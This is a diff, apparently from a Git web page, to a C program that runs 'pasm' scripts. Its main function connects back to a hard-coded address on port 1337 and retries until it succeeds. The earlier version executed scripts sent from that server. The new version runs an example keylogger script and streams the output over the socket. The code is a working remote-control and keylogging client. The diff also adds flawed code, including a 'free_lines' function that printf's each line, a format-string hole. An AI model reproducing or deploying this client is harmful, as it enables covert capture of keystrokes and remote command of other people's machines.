const command_t *com = find_command(command_map, strtok(line, " "));
|
while (file[state->curr_line][strlen(line) - 1] == '\r' || file[state->curr_line][strlen(line) - 1] == '\n') {
|
||||||
|
file[state->curr_line][strlen(line) - 1] = '\0';
|
||||||
|
line[strlen(line) - 1] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
const command_t *com = find_command(command_map, strtok_(line, " "));
|
||||||
if (com == NULL || com->fptr == NULL) {
|
if (com == NULL || com->fptr == NULL) {
|
||||||
ARRAY_ERR err = add_array(file[state->curr_line]);
|
ARRAY_ERR err = add_array(file[state->curr_line]);
|
||||||
if (err == ARRAY_OK) {
|
if (err == ARRAY_OK) {
|
||||||
free(line);
|
free_(line);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
if (err == ARRAY_ERROR) {
|
if (err == ARRAY_ERROR) {
|
||||||
show_error(state->curr_line, file[state->curr_line]);
|
show_error(state->curr_line, file[state->curr_line]);
|
||||||
dprintf(fstream, "%s\n", "bad syntax in array definition");
|
dprintf(fstream, "%s\n", "bad syntax in array definition");
|
||||||
set_exit_state(-1);
|
set_exit_state(-1);
|
||||||
free(line);
|
free_(line);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
if (file[state->curr_line][strlen(line) - 1] != ':') {
|
if (file[state->curr_line][strlen(line) - 1] != ':') {
|
||||||
show_error(state->curr_line, file[state->curr_line]);
|
show_error(state->curr_line, file[state->curr_line]);
|
||||||
dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok(file[state->curr_line], " "));
|
dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok_(file[state->curr_line], " "));
|
||||||
set_exit_state(-1);
|
set_exit_state(-1);
|
||||||
free(line);
|
free_(line);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
add_label(line, state->curr_line);
|
add_label(line, state->curr_line);
|
||||||
if (!found_main && strcmp(line, "main:") == 0)
|
if (!found_main && strcmp__(line, "main:") == 0)
|
||||||
found_main = 1;
|
found_main = 1;
|
||||||
free(line);
|
free_(line);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
parse_arguments(file[state->curr_line]);
|
parse_arguments(file[state->curr_line]);
|
||||||
@@ -144,10 +195,10 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
|
|||||||
set_exit_state(-1);
|
set_exit_state(-1);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
free(line);
|
free_(line);
|
||||||
}
|
}
|
||||||
|
|
||||||
int ret_code = get_exit_state();
|
int ret_code = get_exit_state();
|
||||||
free_script(file);
|
//free__script(file);
|
||||||
return ret_code;
|
return ret_code;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,76 +9,82 @@
|
|||||||
|
|
||||||
#define BUFFER_SIZE 4096
|
#define BUFFER_SIZE 4096
|
||||||
|
|
||||||
char** get_lines(char* str, int* count) {
|
|
||||||
// Check for null pointer
|
#define INITIAL_BUFFER_SIZE 256
|
||||||
if (!str || !count) {
|
#define INITIAL_ARRAY_SIZE 10
|
||||||
return 0;
|
|
||||||
|
char** read_file_into_array(const char* filename, int* lines_count) {
|
||||||
|
FILE* file = fopen(filename, "r");
|
||||||
|
if (file == NULL) {
|
||||||
|
perror("Error opening file");
|
||||||
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Count the number of lines
|
// Allocate initial space for the array of strings
|
||||||
*count = 1;
|
int array_size = INITIAL_ARRAY_SIZE;
|
||||||
for (char* p = str; *p; ++p) {
|
char** lines = malloc(array_size * sizeof(char*));
|
||||||
if (*p == '\r' && *(p + 1) == '\n') {
|
if (lines == NULL) {
|
||||||
++(*count);
|
perror("Error allocating memory for lines");
|
||||||
++p; // Skip '\n'
|
fclose(file);
|
||||||
}
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Allocate memory for char** array
|
char buffer[INITIAL_BUFFER_SIZE];
|
||||||
char** lines = (char**)malloc((*count + 1) * sizeof(char*));
|
int count = 0;
|
||||||
if (!lines) {
|
|
||||||
// Handle allocation failure
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Copy lines to char** array
|
while (fgets(buffer, INITIAL_BUFFER_SIZE, file)) {
|
||||||
int lineIndex = 0;
|
// Remove newline character, if present
|
||||||
char* start = str;
|
buffer[strcspn(buffer, "\n")] = '\0';
|
||||||
for (char* p = str; *p; ++p) {
|
|
||||||
if (*p == '\r' && *(p + 1) == '\n') {
|
// Reallocate if necessary
|
||||||
int lineLength = p - start;
|
if (count >= array_size) {
|
||||||
lines[lineIndex] = (char*)malloc((lineLength + 1) * sizeof(char));
|
array_size *= 2;
|
||||||
if (!lines[lineIndex]) {
|
char** temp = realloc(lines, array_size * sizeof(char*));
|
||||||
// Handle allocation failure
|
if (temp == NULL) {
|
||||||
|
perror("Error reallocating memory for lines");
|
||||||
// Free previously allocated memory
|
// Free previously allocated memory
|
||||||
for (int i = 0; i < lineIndex; ++i) {
|
for (int i = 0; i < count; i++) {
|
||||||
free(lines[i]);
|
free(lines[i]);
|
||||||
}
|
}
|
||||||
free(lines);
|
free(lines);
|
||||||
return 0;
|
fclose(file);
|
||||||
|
return NULL;
|
||||||
}
|
}
|
||||||
strncpy(lines[lineIndex], start, lineLength);
|
lines = temp;
|
||||||
lines[lineIndex][lineLength] = '\0'; // Null-terminate the line
|
|
||||||
++lineIndex;
|
|
||||||
++p; // Skip '\n'
|
|
||||||
start = p + 1; // Move to the next line
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Allocate memory for the line and store it
|
||||||
|
lines[count] = malloc(strlen(buffer) + 1);
|
||||||
|
if (lines[count] == NULL) {
|
||||||
|
perror("Error allocating memory for a line");
|
||||||
|
// Free previously allocated memory
|
||||||
|
for (int i = 0; i < count; i++) {
|
||||||
|
free(lines[i]);
|
||||||
|
}
|
||||||
|
free(lines);
|
||||||
|
fclose(file);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
strcpy(lines[count], buffer);
|
||||||
|
count++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy the last line
|
fclose(file);
|
||||||
int lastLineLength = strlen(start);
|
|
||||||
lines[lineIndex] = (char*)malloc((lastLineLength + 1) * sizeof(char));
|
// Store the number of lines read
|
||||||
if (!lines[lineIndex]) {
|
*lines_count = count;
|
||||||
// Handle allocation failure
|
|
||||||
// Free previously allocated memory
|
|
||||||
for (int i = 0; i <= lineIndex; ++i) {
|
|
||||||
free(lines[i]);
|
|
||||||
}
|
|
||||||
free(lines);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
strcpy(lines[lineIndex], start);
|
|
||||||
lines[*count] = 0; // Null-terminate the char** array
|
|
||||||
|
|
||||||
return lines;
|
return lines;
|
||||||
}
|
}
|
||||||
|
|
||||||
int WinMain(
|
void free_lines(char** lines, int count) {
|
||||||
HINSTANCE hInstance,
|
for (int i = 0; i < count; i++) {
|
||||||
HINSTANCE hPrevInstance,
|
printf(lines[i]);
|
||||||
LPSTR lpCmdLine,
|
}
|
||||||
int nShowCmd
|
}
|
||||||
) {
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
int sock;
|
int sock;
|
||||||
int first = 1;
|
int first = 1;
|
||||||
struct sockaddr_in server;
|
struct sockaddr_in server;
|
||||||
@@ -100,7 +106,7 @@ retry:
|
|||||||
first = 0;
|
first = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
server.sin_addr.s_addr = inet_addr("192.168.1.35");
|
server.sin_addr.s_addr = inet_addr("192.168.56.1");
|
||||||
server.sin_port = htons(1337);
|
server.sin_port = htons(1337);
|
||||||
|
|
||||||
//Create socket
|
//Create socket
|
||||||
@@ -118,23 +124,9 @@ retry:
|
|||||||
goto retry;
|
goto retry;
|
||||||
}
|
}
|
||||||
|
|
||||||
//keep communicating with server
|
const char* filename = "../../examples/keylogger.pasm";
|
||||||
while (1)
|
int lines_count;
|
||||||
{
|
char** lines = read_file_into_array(filename, &lines_count);
|
||||||
memset(server_reply, 0, BUFFER_SIZE);
|
|
||||||
|
|
||||||
//Receive a reply from the server
|
return pasm_run_script(NULL, lines, lines_count, sock);
|
||||||
if (recv(sock, server_reply, BUFFER_SIZE, 0) <= 0)
|
|
||||||
{
|
|
||||||
//recv failed
|
|
||||||
Sleep(500);
|
|
||||||
goto retry;
|
|
||||||
}
|
|
||||||
|
|
||||||
int lines = 0;
|
|
||||||
char **script = get_lines(server_reply, &lines);
|
|
||||||
|
|
||||||
printf("%d\n", pasm_run_script("../examples/keylogger.pasm", 0, 0, sock));
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user